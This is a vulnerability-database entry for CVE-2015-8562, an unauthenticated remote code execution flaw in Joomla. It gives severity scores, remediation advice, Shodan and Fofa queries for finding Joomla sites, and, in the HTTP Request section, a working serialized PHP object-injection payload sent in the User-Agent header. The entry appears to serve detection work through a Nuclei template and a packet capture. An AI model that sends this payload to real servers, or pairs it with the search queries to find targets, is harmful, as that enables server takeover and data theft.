🔙 목록으로 돌아가기

CVE-2015-8562: Joomla HTTP Header Unauthenticated - Remote Code Execution

TitleJoomla HTTP Header Unauthenticated - Remote Code Execution
Authorkairos-hk,bolkv,n0ming,RoughBoy0723
SeverityHigh
ImpactAttackers can execute arbitrary PHP code on the server through PHP object injection, leading to complete server compromise and potential data breach.
RemediationUpdate to Joomla 3.4.6 or later immediately.
CVSS Score7.5
EPSS Score0.93895
CVE IDCVE-2015-8562
Shodan Queryhttp.html:"joomla! - open source content management"http.component:"joomla"cpe:"cpe:2.3:a:joomla:joomla\!"
Fofa Querybody="joomla! - open source content management"
Tags cve cve2015 joomla rce unauth vkev vuln

🔍 Vulnerability Description

Joomla! 1.5.x, 2.x, and 3.x before 3.4.6 allow remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header, as exploited in the wild in December 2015

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12
Connection: close
Accept-Encoding: gzip
GET / HTTP/1.1
Host: www.victim.com
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-8562.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-8562.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A